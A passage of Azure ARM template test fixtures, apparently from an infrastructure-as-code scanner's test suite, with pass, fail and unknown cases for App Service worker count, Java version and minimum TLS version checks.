"vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "1.1", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": 0, "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceInstanceMinimum/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "1.1", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": 2, "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceInstanceMinimum/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "pass2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "1.1", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": 3, "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceInstanceMinimum/unknown.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "unknown", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "1.1", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": false, "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceInstanceMinimum/unknown2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "unknown2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "1.1", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": true, "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceJavaVersion/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "fail", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]" }, "siteConfig": { "javaVersion": "13" }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceJavaVersion/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2021-02-01", "name": "pass", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]" }, "siteConfig": { "javaVersion": "17" }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "default", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "tls-11", "location": "[parameters('location')]", 